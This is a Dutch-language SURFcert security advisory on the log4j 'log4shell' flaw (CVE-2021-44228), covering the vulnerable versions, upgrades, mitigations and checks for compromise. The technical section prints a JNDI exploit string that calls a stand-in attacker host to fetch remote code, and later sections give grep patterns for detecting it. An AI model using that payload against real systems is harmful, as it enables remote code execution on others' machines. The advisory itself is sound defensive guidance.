SURFcert factsheet log4j rce CVE-2021-44228 ('log4shell')

Versie: 1.16

Datum: gepubliceerd 11 Dec 2021 , bijgewerkt 29 Dec 2021

Classificatie: TLP:WHITE

Deze factsheet wordt steeds bijgewerkt als er nieuwe informatie beschikbaar komt.

Wat is er aan de hand

log4j is een library voor logging die veel gebruikt wordt in Java-applicaties. In versie 2.x van log4j is het mogelijk om op basis van slechts een gelogde string op afstand willekeurige code uit te voeren op de machine die de software draait.

De impact hiervan is hoog. Veel applicaties gebruiken deze library, er is geen authenticatie nodig of ingewikkelde methoden bij de aanvaller. De meeste applicaties loggen van allerlei informatie die 'van buiten' binnenkomt, van informatie uit het request zoals de User Agent tot aan informatie ingevuld in form fields. Het is alleen op te lossen door elke applicatie te herbouwen met de bijgewerkte library en die nieuwe versie te installeren.

Het NCSC heeft een stappenplan gepubliceerd waarin de situatie kernachtig is samengevat en die als richtlijn kan dienen voor instellingen hoe hiermee om te gaan. Voor meer details en uitwerking van de beschreven stappen, zie het vervolg van deze factsheet.

Technische details

De kwetsbare log4j library interpreteert log messages en voert daarop requests uit. Het nu meest gangbare voorbeeld is dat je een string laat loggen van de vorm:

${jndi:ldap://attacker.example.com/exploit}


Deze zorgt dat de loggende applicatie bij het loggen van die regel de genoemde url opvraagt via de Java Naming and Directory Interface. In het antwoord wordt een Java class file teruggestuurd. Die wordt vervolgens lokaal uitgevoerd en kan alle code bevatten die de aanvaller maar wil uitvoeren op het systeem.

Wat is er kwetsbaar

Scannen is mogelijk maar levert alleen de meer obvious cases op (wat natuurlijk wel belangrijk is want dat is ook wat de eerste attackers zullen doen). Het is door middel van scannen niet uit te sluiten dat er kwetsbare systemen overblijven omdat je niet van buiten kunt voorspellen wat elke applicatie allemaal zal loggen.

De firma Northwave heeft een checker uitgebracht die kwetsbare installaties kan opsporen: https://github.com/NorthwaveSecurity/log4jcheck/
Dit kan dus gevallen vinden die in elk geval kwetsbaar zijn, maar geen zekerheid geven dat andere applicaties niet kwetsbaar zijn; het kan zijn dat die via een andere route dan die van de checker overtuigd kunnen worden de specifieke string te loggen.

Het is ook mogelijk om op het filesysteem de jar te inspecteren om te zien of er een log4j class in zit (versie 2.0 of hoger).

Let wel,  er kunnen ook meer interne applicaties die zelf niet publiek bereikbaar zijn, maar wel informatie verwerken uit niet-vertrouwde bronnen en daarmee alsnog kwetsbaar kunnen zijn ook al is de internet-facing applicatie niet (meer) kwetsbaar.

Pogingen tot exploitatie kunnen gevonden door in de logs te kijken op voorkomens van "${jndi:", alhoewel er ook varianten zijn van het patroon dat dit kan triggeren.

• Een lijst met alle kwetsbare versies met bijbehorende hashes is hier te vinden: https://github.com/mubix/CVE-2021-44228-Log4Shell-Hashes
• Tool om op een filesysteem te zoeken naar kwetsbare log4j-versies: https://github.com/mergebase/log4j-detector
• Overzicht van scanning tools en detectie-methoden

Oplossing en mitigaties

Upgraden van de library

Log4j 2.x is kwetsbaar voor remote code execution (CVE-2021-44228) van versie 2.0 tot aan versie 2.14.1. In versie 2.15 is dit aanvankelijk geadresseerd, maar er zijn nieuwe risico's en exploitatiemethoden geïdentificeerd. Deze zijn nog niet aangetoond op alle versies of in de standaard-configuratie, maar vormen wel een groot risico. Versie 2.17.1 schakelt de betreffende functionaliteiten helemaal uit, beschermt daarmee tegen de nu bekende risico's en geeft ook de meeste zekerheid dat er niet nog nieuwe aanvalsvectoren gevonden worden in de functionaliteit.

Log4j 2.17.0 core bevat een RCE indien de aanvaller de configuratie kan wegschrijven. Als dit realistisch is, dan is upgrade naar.217.1 noodzakelijk.

De definitieve oplossing is te upgraden naar 2.17.1 (voor Java 8 en hoger).

Zit je al op versie 2.15? Ook dan blijft upgraden naar 2.17.1 dus urgent.

Voor applicaties die nog Java 7 gebruiken, is log4j versie 2.12.4. Let wel dat Java 7 binnenkort uit vendor support gaat, dus hier zal sowieso een upgrade gepland moeten worden naar Java 8+ en log4j 2.17.1.

Log4j 1.x is niet kwetsbaar voor deze remote code execution. Log4j 1.x wordt echter niet meer onderhouden en er zijn andere issues in bekend. Upgraden naar 2.17.1 of een heel andere logging library is dan ook aan te raden.

Mitigaties

Als upgraden van de library (nog) niet mogelijk is, is de volgende mitigatie mogelijk:

• Alle versies: verwijder de JndiLookup class uit log4j-core.jar. Dit voorkomt de RCE en DoS.
  Bijvoorbeeld: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

Als deze mitigation niet haalbaar is dan moet serieus overwogen worden of toegang tot de applicatie niet beperkt kan worden tot alleen vertrouwde netwerken of dat deze tijdelijk uitgeschakeld wordt tot een fix beschikbaar is.

Non-mitigaties

Het draaien van de meest recente patchlevels van de JDK op het systeem was in het begin een advies. Ook is er eerder geadviseerd om de %m{nolookups}-variabele te zetten. Beide methoden zijn echter niet waterdicht dus het upgraden van log4j, of andere methoden van mitigatie zijn altijd noodzakelijk.

Voor log4j 2.10.1-2.14.1 werd eerder als mitigatie het inschakelen van de optie log4j2.formatMsgNoLookups gesteld. Deze heeft dezelfde impact als een upgrade naar 2.15, maar lost dus niet de problemen op die 2.15 treffen en in 2.17 opgelost zijn. Vandaar dat deze optie nu niet meer aangeraden wordt. Upgrade naar 2.17.1, of de JndiLookup class verwijderen blijven daarmee over als de enige oplossingen die op dit moment voldoende zekerheid bieden.

Versietabel

Bovenstaande samengevat in een overzicht per log4j-versie die in gebruik is:

Versie log4j	Risico	Advies
2.17.1	-
2.16 - 2.17	DoS of RCE	Aanval mogelijk onder bepaalde condities. Upgrade naar 2.17.1 indien dit realistisch is.
2.15	RCE en DoS	Onmiddellijk upgraden naar 2.17.1 of JndiLookup class verwijderen
2.12.4	-
2.12.2 - 2.12.3	DoS of RCE	Aanval mogelijk onder bepaalde condities. Upgrade naar 2.12.4 indien dit realistisch is.
2.0 - 2.14.1	RCE en DoS	Onmiddellijk upgraden naar 2.17.1 of JndiLookup class verwijderen
2.10.1 - 2.14.1 met FormatMsgNoLookups-mitigatie	RCE en DoS	Onmiddellijk upgraden naar 2.17.1 of JndiLookup class verwijderen
1.x	Out of support	Indien mogelijk upgraden naar 2.17.1 of andere library

Check op compromise

Als je de mitigatie of patch hebt aangebracht moet je niettemin het systeem controleren op compromise. De kwetsbaarheid is sinds op zijn minst vrijdagochtend 10 december breed bekend en eenvoudig en massaal te exploiteren. Daarom is een systeem dat nu gepatcht wordt wellicht al lang en breed compromised. Kijk in de logs voor voorkomens van jndi: calls en controleer de integriteit van het systeem. Breng het alleen weer online als de integriteit bevestigd is.

Er worden op dit moment scans uitgevoerd vanuit de hele wereld, zowel met malafide als goede intenties. Scans voor SURFcert worden sinds 11 december uitgevoerd vanuit 145.220.24.0/24. Instellingen waarbij een vermoedelijk kwetsbare versie is gevonden worden direct op de hoogte gesteld.

Gebruik bijvoorbeeld de volgende of vergelijkbare shell-opdrachten om te controleren op compromise:

egrep -i -r '\$\{jndi:(ldap[s]?|rmi)://[^\n]+' /var/log

find /var/log -name \*.gz -print0 | xargs -0 zgrep -E -i '\$\{jndi:(ldap[s]?|rmi)://[^\n]+'

Let wel, obfuscatie kan door aanvallers op verschillende manieren worden uitgevoerd om de JNDI-tekenreeks te obfusceren. De tool log4shell-detector verbetert de detectie en kan worden gebruikt om potentieel geobfusceerde manieren te detecteren. We raden aan om verschillende methoden voor detectie te gebruiken en niet alleen de bovenstaande reguliere expressies.

Zie ook: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Links

Algemene informatie: https://www.lunasec.io/docs/blog/log4j-zero-day/

SANS internet Storm Center: https://isc.sans.edu/forums/diary/Log4j+Log4Shell+Followup+What+we+see+and+how+to+defend+and+how+to+access+our+data/28122/

Advisory van het NCSC: https://www.ncsc.nl/actueel/advisory?id=NCSC-2021-1052

Goede puntsgewijze samenvatting: https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/

Repository van NCSC met onder andere lijst met software en de status daarvan: https://github.com/NCSC-NL/log4shell

Wat doet SURFcert

SURFcert meldt het aan instellingen als ze op de hoogte wordt gebracht van kwetsbare systemen via bijvoorbeeld scans. Ook monitoren we bepaalde als malware bekend staande IOC's op het SURF-netwerk en melden bevindingen direct aan instellingen. Op basis van voorgaande is het echter belangrijk je te realiseren dat geen meldingen ontvangen niet impliceert dat je niet kwetsbaar bent.

SURFcert is in intensief contact met NCSC en andere nationale en internationale certs om informatie te delen en te komen tot inzicht in welke applicaties kwetsbaar zijn.

Instellingen kunnen via de SCIRT community (mailinglist en chat) informatie delen over welke applicaties kwetsbaar zijn of mitigatie-strategieën. Ook kunnen ze bijdragen aan de lijst van kwetsbare applicaties op https://github.com/NCSC-NL/log4shell

SURFcert

SURFcert provides your institution with security-incident support 24 hours a day, seven days a week.

Mail: cert@SURFcert.nl

Internet: https://surf.nl/surfcert

Telephone (24/7): +31 622 923 564

Bron: xkcd.com